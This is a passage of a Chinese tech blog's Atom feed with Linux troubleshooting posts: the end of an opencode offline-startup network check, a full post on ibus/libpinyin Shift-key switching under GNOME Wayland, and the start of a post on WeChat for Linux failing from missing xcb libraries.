&lt;h2 id=&quot;2-qi-dong-jie-duan-ling-gong-wang-lian-jie&quot;&gt;2. 启动阶段零公网连接&lt;&#x2F;h2&gt;
&lt;p&gt;用 strace 跟踪启动 + 空闲运行 30 秒的全部网络连接：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;strace -f -e trace=connect -o &amp;#x2F;tmp&amp;#x2F;net-trace.log \
  opencode serve &amp;amp;          # 带上 OPENCODE_CONFIG_DIR 等环境变量

sleep 30
curl -s -o &amp;#x2F;dev&amp;#x2F;null -w &amp;quot;HTTP %{http_code}\n&amp;quot; http:&amp;#x2F;&amp;#x2F;127.0.0.1:4096&amp;#x2F;   # 200

grep -oE &amp;#x27;sin_addr=inet_addr\(&amp;quot;[0-9.]+&amp;quot;\)&amp;#x27; &amp;#x2F;tmp&amp;#x2F;net-trace.log | sort | uniq -c
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;结果只有&lt;strong&gt;内网&lt;&#x2F;strong&gt;（WFUZZ_SERVER &lt;code&gt;192.168.7.16&lt;&#x2F;code&gt;）的连接，公网 IPv4&#x2F;IPv6 连接数为 0，服务正常响应 &lt;code&gt;HTTP 200&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;注：&lt;code&gt;serve&lt;&#x2F;code&gt; 出现实际会话（用户发消息调模型）时，模型请求仍会访问公网 &lt;code&gt;opencode.ai&lt;&#x2F;code&gt;（现在走 IPv4），这是功能需求，不再是卡死。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;jing-yan-zong-jie&quot;&gt;经验总结&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;optional peer dependencies&lt;&#x2F;code&gt; 会被 &lt;code&gt;--legacy-peer-deps&lt;&#x2F;code&gt; 跳过安装&lt;&#x2F;strong&gt;，但 Bun 解析模块图时仍然会尝试解析它们，缺失就联网。打包预装 &lt;code&gt;node_modules&lt;&#x2F;code&gt; 时，把运行链路可能触及的包显式声明为 &lt;code&gt;dependencies&lt;&#x2F;code&gt; 最稳妥。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;&quot;有 IPv6 地址&quot; ≠ &quot;IPv6 可用&quot;&lt;&#x2F;strong&gt;。本机和服务器都有全局 IPv6 地址和默认路由，但出站全被黑洞丢弃。遇到&quot;某应用在这台机器卡死&quot;时，先测 &lt;code&gt;curl -6&lt;&#x2F;code&gt; 对比 &lt;code&gt;curl -4&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;黑洞网络的状态是波动而非恒定的&lt;&#x2F;strong&gt;：有时 IPv6 连接快速失败（应用秒级回退 IPv4），有时挂起几十秒。因此&quot;本机能跑、服务器不能&quot;这类对比实验必须在&lt;strong&gt;同一时段&lt;&#x2F;strong&gt;进行，否则会把网络波动误判为环境&#x2F;版本差异。用多批次交替测试 + 每次测量耗时，避免单次样本误导。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&#x2F;etc&#x2F;gai.conf&lt;&#x2F;code&gt; 控制 getaddrinfo 的地址排序&lt;&#x2F;strong&gt;，影响所有应用的连接顺序（Bun&#x2F;Node 也遵循）。内网环境统一加 &lt;code&gt;precedence ::ffff:0:0&#x2F;96 100&lt;&#x2F;code&gt; 可以绕开 IPv6 黑洞，无论黑洞状态如何都稳定。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;.global-opencode&lt;&#x2F;code&gt;（&lt;code&gt;OPENCODE_CONFIG_DIR&lt;&#x2F;code&gt;）与 &lt;code&gt;.opencode&lt;&#x2F;code&gt;（项目级）是两个不同的配置来源&lt;&#x2F;strong&gt;：前者由引导程序整目录注入（含独立的 node_modules&#x2F;plugins），后者是标准项目级配置。排查启动问题时，先分清插件&#x2F;模型配置来自哪一层，再看对应的依赖是否完整。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Ubuntu 中文输入法 Shift 切换故障排查与 GNOME 输入源机制剖析</title>
        <published>2026-08-02T18:35:02+08:00</published>
        <updated>2026-08-02T18:35:02+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/08/ibus-xkb-input-source/"/>
        <id>https://vercel.juzhong.asia/2026/08/ibus-xkb-input-source/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/08/ibus-xkb-input-source/">&lt;h1 id=&quot;ubuntu-zhong-wen-shu-ru-fa-shift-qie-huan-gu-zhang-pai-cha-yu-gnome-shu-ru-yuan-ji-zhi-pou-xi&quot;&gt;Ubuntu 中文输入法 Shift 切换故障排查与 GNOME 输入源机制剖析&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;wen-ti-xian-xiang&quot;&gt;问题现象&lt;&#x2F;h2&gt;
&lt;p&gt;Ubuntu 26.04 + GNOME Wayland + ibus-libpinyin 环境下，按 Shift 切换中英文输入法时&lt;strong&gt;经常失效&lt;&#x2F;strong&gt;，且失效时伴随&lt;strong&gt;候选词窗口消失&lt;&#x2F;strong&gt;等异常。同时发现 GNOME 设置界面无法添加已删除的 xkb 输入源。&lt;&#x2F;p&gt;
&lt;p&gt;排查过程中一路深入，最终把 xkb、ibus、GNOME 输入源这三者的分层协作机制彻底理清。本文记录完整排查过程与概念剖析。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pai-cha-guo-cheng&quot;&gt;排查过程&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;di-yi-bu-que-ren-huan-jing&quot;&gt;第一步：确认环境&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 发行版 &amp;#x2F; 会话
cat &amp;#x2F;etc&amp;#x2F;os-release          # Ubuntu 26.04 LTS
echo $XDG_SESSION_TYPE       # wayland
echo $XDG_CURRENT_DESKTOP    # ubuntu:GNOME

# 输入法框架进程
ps aux | grep -iE &amp;quot;fcitx|ibus|scim&amp;quot;
# &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;ibus-daemon --panel disable
# &amp;#x2F;usr&amp;#x2F;libexec&amp;#x2F;ibus-engine-libpinyin --ibus
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;结论：GNOME Wayland 会话 + IBus + libpinyin 引擎，ibus-daemon 以 &lt;code&gt;--panel disable&lt;&#x2F;code&gt; 启动。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;di-er-bu-jian-cha-pei-zhi&quot;&gt;第二步：检查配置&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gsettings get org.gnome.desktop.input-sources sources
# [(&amp;#x27;xkb&amp;#x27;, &amp;#x27;cn&amp;#x27;), (&amp;#x27;ibus&amp;#x27;, &amp;#x27;libpinyin&amp;#x27;)]   ← 两个输入源

gsettings get com.github.libpinyin.ibus-libpinyin.libpinyin main-switch
# &amp;#x27;&amp;lt;Shift&amp;gt;&amp;#x27;   ← Shift 切换已配置

gsettings get org.freedesktop.ibus.general use-global-engine   # true
gsettings get org.freedesktop.ibus.general embed-preedit-text  # true
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;配置本身正常，但发现几个高风险因素。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;di-san-bu-ding-wei-gen-yin&quot;&gt;第三步：定位根因&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;1. 双输入源结构（xkb-cn + libpinyin）&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;输入源分两种：&lt;code&gt;xkb&lt;&#x2F;code&gt; 键盘布局（纯键盘映射，无引擎）和 &lt;code&gt;ibus&lt;&#x2F;code&gt; 引擎（真正的输入法）。用 Super+Space 切换输入源时，如果停在 &lt;code&gt;xkb-cn&lt;&#x2F;code&gt;（中文键盘布局）上，Shift 切换必然无效——切换逻辑在 libpinyin 引擎的状态机里，而 xkb 布局层根本没有&quot;模式&quot;概念。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;2. Chromium&#x2F;Electron 应用吞键&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;运行环境中有 VS Code 和 Chrome（均为 Chromium 系）。这类应用在 GNOME Wayland 下存在已知问题：Shift 修饰键事件可能被应用自身消费，未传给 ibus 引擎，导致切换失败——这与&quot;间歇性失效&quot;（而非永久失效）的特征吻合。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;3. 候选词窗口消失的机理&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;embed-preedit-text = true&lt;&#x2F;code&gt; 时，候选框嵌入应用窗口内渲染。Chromium 应用清理嵌入候选框的时机存在 bug：可能清掉候选框但未把 Shift 事件转发给引擎——视觉上&quot;候选框消失&quot;，实际模式没切换。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;4. 全局模式放大故障&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;use-global-engine = true&lt;&#x2F;code&gt; 让中英模式在所有应用间共享，一次吞键的失败状态会传染到所有应用。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;di-si-bu-xiu-fu-fang-an&quot;&gt;第四步：修复方案&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;修复 1：移除 xkb-cn，只保留 libpinyin 输入源&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gsettings set org.gnome.desktop.input-sources sources &amp;quot;[(&amp;#x27;ibus&amp;#x27;, &amp;#x27;libpinyin&amp;#x27;)]&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;修复 2：恢复 ibus 语言栏（解决状态不可见）&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;移除 xkb 后，GNOME 顶部栏在单一输入源时不显示指示器（&lt;code&gt;keyboard.js&lt;&#x2F;code&gt; 的 &lt;code&gt;_syncShowIndicator&lt;&#x2F;code&gt; 逻辑）。恢复语言栏的方法：ibus 由 systemd 管理，用 drop-in 覆盖掉 &lt;code&gt;--panel disable&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;mkdir -p ~&amp;#x2F;.config&amp;#x2F;systemd&amp;#x2F;user&amp;#x2F;org.freedesktop.IBus.session.GNOME.service.d&amp;#x2F;
cat &amp;gt; ~&amp;#x2F;.config&amp;#x2F;systemd&amp;#x2F;user&amp;#x2F;org.freedesktop.IBus.session.GNOME.service.d&amp;#x2F;panel.conf &amp;lt;&amp;lt; &amp;#x27;EOF&amp;#x27;
[Service]
ExecStart=
ExecStart=&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;ibus-daemon --replace
EOF
systemctl --user daemon-reload
systemctl --user restart org.freedesktop.IBus.session.GNOME.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;重启后语言栏窗口出现，中英状态可见。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;修复 3（可选）：两条 gsettings 优化&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 候选框改为 ibus 独立弹出窗口，规避 Chromium 清理候选框的 bug
gsettings set org.freedesktop.ibus.general embed-preedit-text false
# 各应用独立记忆中英模式，防止一次失败全局传染
gsettings set org.freedesktop.ibus.general use-global-engine false
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;gai-nian-pou-xi-xkb-yu-shu-ru-fa-de-fen-ceng-xie-zuo&quot;&gt;概念剖析：xkb 与输入法的分层协作&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;an-jian-chu-li-wan-zheng-lian-lu&quot;&gt;按键处理完整链路&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;物理键盘 ──内核 input 子系统──&amp;gt; 扫描码(scancode) ──&amp;gt; compositor(Mutter) ──&amp;gt; keysym ──&amp;gt; ibus 引擎 ──&amp;gt; 字符上屏
             内核只做这件事                  ┌────────────────────────────┘
                                           libxkbcommon (用户态 C 库)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;内核&lt;&#x2F;strong&gt;（&lt;code&gt;&#x2F;dev&#x2F;input&#x2F;eventX&lt;&#x2F;code&gt;）：只上报&quot;哪颗物理键被按下&quot;的扫描码，&lt;strong&gt;完全不关心布局&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;compositor 层&lt;&#x2F;strong&gt;（Mutter + libxkbcommon）：xkb 所在的位置。libxkbcommon 读取 &lt;code&gt;&#x2F;usr&#x2F;share&#x2F;X11&#x2F;xkb&#x2F;&lt;&#x2F;code&gt; 下的布局配置（&lt;code&gt;evdev.xml&lt;&#x2F;code&gt; 是注册表，共 99 个布局），把&quot;扫描码 + 修饰键状态&quot;翻译成 keysym。&lt;strong&gt;这一层只有映射规则，没有状态机&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;ibus + libpinyin 引擎&lt;&#x2F;strong&gt;：Mutter 把 keysym 转交给 ibus，引擎决定拼音组合、候选词、上屏。&lt;strong&gt;中英切换的状态机在这里&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;xkb-shi-nei-he-shi-xian-huan-shi-yong-hu-tai-shi-xian&quot;&gt;xkb 是内核实现还是用户态实现？&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;用户态，但在比 libpinyin 更底层的位置&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;层&lt;&#x2F;th&gt;&lt;th&gt;实现&lt;&#x2F;th&gt;&lt;th&gt;职责&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;内核 input&lt;&#x2F;td&gt;&lt;td&gt;evdev&lt;&#x2F;td&gt;&lt;td&gt;上报扫描码&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;compositor&lt;&#x2F;td&gt;&lt;td&gt;libxkbcommon&lt;&#x2F;td&gt;&lt;td&gt;扫描码 → keysym 映射&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;输入法框架&lt;&#x2F;td&gt;&lt;td&gt;ibus-daemon + libpinyin&lt;&#x2F;td&gt;&lt;td&gt;输入法逻辑（状态机）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;xkb 是 X11 时代（X Keyboard Extension）的遗留技术，被 libxkbcommon 库继承，在合成器内部运行。ibus&#x2F;libpinyin 是合成器外的独立进程，通过 Wayland 的 text-input 协议与合成器通信。Wayland 本身不实现任何输入处理，只规定协议。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;gnome-de-shu-ru-yuan-chou-xiang&quot;&gt;GNOME 的&quot;输入源&quot;抽象&lt;&#x2F;h3&gt;
&lt;p&gt;GNOME 把 xkb 布局和 ibus 引擎&lt;strong&gt;统一抽象为&quot;输入源&quot;（input source）&lt;&#x2F;strong&gt;，这是一个用户视角的&quot;配置集合&quot;，而不是技术层的概念：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;输入源(智能拼音) = { xkb布局: default(us) }  +  { ibus引擎: libpinyin }
输入源(中文中国) = { xkb布局: cn }           +  { 无引擎 }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;切换输入源时，GNOME 同时通知两个层：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;切换输入源 (面板&amp;#x2F;Super+Space)
        │
        ├──&amp;gt; Mutter 层：切换 xkb 布局（用 libxkbcommon 重新加载映射）
        │
        └──&amp;gt; ibus 层：激活&amp;#x2F;停用对应引擎
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;所以&lt;strong&gt;面板上的互斥是&quot;输入源选择器&quot;的互斥（同一时刻只能激活一个输入源对象），不是 xkb 层和引擎层的互斥&lt;&#x2F;strong&gt;。激活的输入源内部，xkb 层和引擎层始终同时工作——没有 xkb 映射，连 &lt;code&gt;a&lt;&#x2F;code&gt; 键都映射不出 &lt;code&gt;a&lt;&#x2F;code&gt; 字符。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;mei-ge-yin-qing-du-bang-ding-yi-ge-xkb-bu-ju&quot;&gt;每个引擎都绑定一个 xkb 布局&lt;&#x2F;h3&gt;
&lt;p&gt;验证 libpinyin 引擎的注册表声明：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;python3 -c &amp;quot;
import gi
gi.require_version(&amp;#x27;IBus&amp;#x27;,&amp;#x27;1.0&amp;#x27;)
from gi.repository import IBus
bus = IBus.Bus()
for e in bus.get_engines_by_names([&amp;#x27;libpinyin&amp;#x27;]):
    print(e.get_name(), e.get_layout(), e.get_language())
&amp;quot;
# libpinyin default zh_CN
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;default&lt;&#x2F;code&gt; 即美式 QWERTY——拼音引擎必须依赖标准字母映射才能输入拼音。这也是引擎无法脱离输入源体系单独存在的原因。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;sources-pei-zhi-ge-shi-xiang-jie&quot;&gt;sources 配置格式详解&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gsettings set org.gnome.desktop.input-sources sources &amp;quot;[(&amp;#x27;xkb&amp;#x27;, &amp;#x27;us&amp;#x27;), (&amp;#x27;ibus&amp;#x27;, &amp;#x27;libpinyin&amp;#x27;)]&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;每个元素是元组 &lt;code&gt;(类型, 标识符)&lt;&#x2F;code&gt;：&lt;code&gt;xkb&lt;&#x2F;code&gt; 类型第二项是布局名（如 &lt;code&gt;us&lt;&#x2F;code&gt;、&lt;code&gt;cn&lt;&#x2F;code&gt;），&lt;code&gt;ibus&lt;&#x2F;code&gt; 类型第二项是引擎名（如 &lt;code&gt;libpinyin&lt;&#x2F;code&gt;）&lt;&#x2F;li&gt;
&lt;li&gt;数组顺序 = 面板显示顺序、Super+Space 循环顺序、开机默认输入源&lt;&#x2F;li&gt;
&lt;li&gt;整个数组要用单引号包裹（GVariant 语法）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;wei-shen-me-she-zhi-jie-mian-zhao-bu-dao-xkb-cn&quot;&gt;为什么设置界面找不到 xkb-cn？&lt;&#x2F;h3&gt;
&lt;p&gt;GNOME 设置&quot;添加输入源&quot;对话框受 &lt;code&gt;show-all-sources&lt;&#x2F;code&gt; 键控制（默认 false）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gsettings set org.gnome.desktop.input-sources show-all-sources true
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;false&lt;&#x2F;code&gt;：只显示与当前系统语言匹配的布局 + 所有 ibus 引擎，且 GNOME 46+ 改版后按&quot;语言 → 输入源&quot;两级展开，xkb 布局排在引擎之后容易被忽略&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;true&lt;&#x2F;code&gt;：列出全部 99 个 xkb 布局&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;而命令行 &lt;code&gt;gsettings set&lt;&#x2F;code&gt; 直接写入 dconf 配置库，绕过 UI 过滤逻辑，所以始终有效。&lt;code&gt;evdev.xml&lt;&#x2F;code&gt; 里的 Chinese 布局一直存在——删除输入源只是从 dconf 列表移除引用，布局本身从未消失。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Shift 切换失效排查要点&lt;&#x2F;strong&gt;：检查输入源结构（是否停在无引擎的 xkb 源上）、&lt;code&gt;main-switch&lt;&#x2F;code&gt; 配置、运行中的 Chromium 应用、&lt;code&gt;embed-preedit-text&lt;&#x2F;code&gt; 与 &lt;code&gt;use-global-engine&lt;&#x2F;code&gt; 设置&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;xkb 是用户态&lt;&#x2F;strong&gt;，位于 compositor 层，提供 keysym 映射；&lt;strong&gt;ibus 引擎是合成器外的进程&lt;&#x2F;strong&gt;，两者通过 Wayland 协议协作&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;GNOME 输入源 = xkb 布局 + 引擎的打包组合&lt;&#x2F;strong&gt;，面板互斥的是输入源对象，xkb 层永远在工作&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;每个引擎输入源都绑定一个 xkb 布局&lt;&#x2F;strong&gt;（libpinyin 为 default&#x2F;us），这是引擎正确工作的基础&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>微信 Linux 版启动失败：apt 装了依赖却没装全</title>
        <published>2026-08-02T18:02:16+08:00</published>
        <updated>2026-08-02T18:02:16+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/08/wechat-gnome-launch-failure/"/>
        <id>https://vercel.juzhong.asia/2026/08/wechat-gnome-launch-failure/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/08/wechat-gnome-launch-failure/">&lt;h1 id=&quot;bei-jing&quot;&gt;背景&lt;&#x2F;h1&gt;
&lt;p&gt;Ubuntu 上通过 &lt;code&gt;apt install ~&#x2F;下载&#x2F;WeChatLinux_x86_64.deb&lt;&#x2F;code&gt; 安装了微信 Linux 版，但从 GNOME 应用菜单点击图标后&lt;strong&gt;没有任何反应&lt;&#x2F;strong&gt;，窗口不出现，进程直接退出。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;ding-wei-zhi-jie-yun-xing-na-dao-bao-cuo&quot;&gt;定位：直接运行拿到报错&lt;&#x2F;h1&gt;
&lt;p&gt;从桌面点图标失败只能看到&quot;无反应&quot;，先绕过桌面环境，直接跑二进制拿错误信息：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;wechat
&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;wechat: error while loading shared libraries:
libxcb-icccm.so.4: cannot open shared object file: No such file or directory
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;原因清楚了：缺少动态库 &lt;code&gt;libxcb-icccm.so.4&lt;&#x2F;code&gt;，对应 Debian&#x2F;Ubuntu 包 &lt;code&gt;libxcb-icccm4&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;bu-wan-yi-ge-you-que-yi-ge&quot;&gt;补完一个又缺一个&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ sudo apt-get install -y libxcb-icccm4
$ &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;wechat
libxcb-image.so.0: cannot open shared object file: No such file or directory
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;再装 &lt;code&gt;libxcb-image0&lt;&#x2F;code&gt;，又报 &lt;code&gt;libxcb-render-util.so.0&lt;&#x2F;code&gt;……典型的&quot;补完一个又缺一个&quot;。与其一个个试，不如一次性查出所有缺失：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ ldd &amp;#x2F;opt&amp;#x2F;wechat&amp;#x2F;wechat | grep &amp;quot;not found&amp;quot;
	libxcb-image.so.0 =&amp;gt; not found
	libxcb-render-util.so.0 =&amp;gt; not found
	libxcb-keysyms.so.1 =&amp;gt; not found
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;ldd&lt;&#x2F;code&gt; 直接列出全部缺失，不用再来回跑二进制。一次装齐：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ sudo apt-get install -y libxcb-image0 libxcb-render-util0 libxcb-keysyms1
$ ldd &amp;#x2F;opt&amp;#x2F;wechat&amp;#x2F;wechat | grep &amp;quot;not found&amp;quot;   # 空，依赖齐全
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;从 GNOME 启动微信，正常。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;gen-yin-deb-yuan-shu-ju-sheng-ming-de-yi-lai-bu-quan&quot;&gt;根因：deb 元数据声明的依赖不全&lt;&#x2F;h1&gt;
&lt;p&gt;问题来了：明明用 &lt;code&gt;apt install&lt;&#x2F;code&gt; 装的，为什么依赖没有自动装上？&lt;&#x2F;p&gt;
&lt;p&gt;查看 deb 包的元数据就明白了：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ dpkg-deb -f ~&amp;#x2F;下载&amp;#x2F;WeChatLinux_x86_64.deb Package Version Architecture
wechat
4.1.1.8
amd64

$ dpkg-deb -f ~&amp;#x2F;下载&amp;#x2F;WeChatLinux_x86_64.deb Depends
fonts-noto-cjk | google-noto-cjk-fonts
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;腾讯的 deb 包只声明了一个字体依赖&lt;&#x2F;strong&gt;，而二进制实际运行需要的 4 个库：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;缺失库&lt;&#x2F;th&gt;&lt;th&gt;对应包&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;libxcb-icccm.so.4&lt;&#x2F;td&gt;&lt;td&gt;libxcb-icccm4&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;libxcb-image.so.0&lt;&#x2F;td&gt;&lt;td&gt;libxcb-image0&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;libxcb-render-util.so.0&lt;&#x2F;td&gt;&lt;td&gt;libxcb-render-util0&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;libxcb-keysyms.so.1&lt;&#x2F;td&gt;&lt;td&gt;libxcb-keysyms1&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;全部没有写入 &lt;code&gt;Depends&lt;&#x2F;code&gt; 字段。apt 只能根据包元数据解析依赖，元数据里没声明的它无从知道，自然也不会安装——等到运行时动态链接器报错才暴露。&lt;&#x2F;p&gt;
&lt;p&gt;顺带说明：&lt;code&gt;apt install .&#x2F;xxx.deb&lt;&#x2F;code&gt; 与 &lt;code&gt;dpkg -i&lt;&#x2F;code&gt; 的区别在于前者会自动解析并安装&lt;strong&gt;已声明&lt;&#x2F;strong&gt;的依赖；但本案中缺失的库根本未声明，用哪个都装不上，只能手动补。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;桌面图标启动失败先跑二进制&lt;&#x2F;strong&gt;：绕过桌面环境的静默失败，拿到真实报错&lt;&#x2F;li&gt;
